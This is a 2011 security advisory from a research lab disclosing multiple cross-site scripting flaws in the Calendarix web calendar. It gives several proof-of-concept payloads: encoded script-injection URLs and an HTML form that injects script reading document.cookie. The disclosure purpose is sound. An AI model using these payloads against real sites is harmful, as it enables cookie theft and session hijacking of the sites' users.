Total Tests:

Cross-site Scripting (XSS) Vulnerabilities in Calendarix

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22974
Product:Calendarix
Vendor:Vincent Hor
Vulnerable Versions:0.8.20080808 and probably prior
Tested Version:0.8.20080808
Advisory Publication:April 26, 2011 [without technical details]
Vendor Notification:April 26, 2011
Public Disclosure:May 10, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Calendarix which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in Calendarix
1.1 The vulnerability exists due to input sanitation errors in URL in cal_login.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/cal_login.php/%27%3E%3Cscript%3Ealert%28123%29;%3C/script%3E
1.2 The vulnerability exists due to input sanitation error in the "gocat" parameter in cal_catview.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://[host]/cal_catview.php?catop=viewcat" method="post" name="main" />
<input type="hidden" name="gocat" value="'</script><script>alert(document.cookie);</script>"/>
<input type="submit" value="submit"/>
</form>

1.3 The vulnerability exists due to input sanitation errors in the "frmname" and "leftfooter" parameters in cal_date.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/cal_date.php?frmname=%3C/script%3E%3Cscript%3Ealert%28123%29;% 3C/script%3E
http://[host]/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%28123%29;%3C /script%3E


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22974 - https://www.immuniweb.com/advisory/HTB22974 - Cross-site Scripting (XSS) Vulnerabilities in Calendarix
[2] Calendarix - calendarix.com - Calendarix is a powerful and easy to use web-based calendar that runs on PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question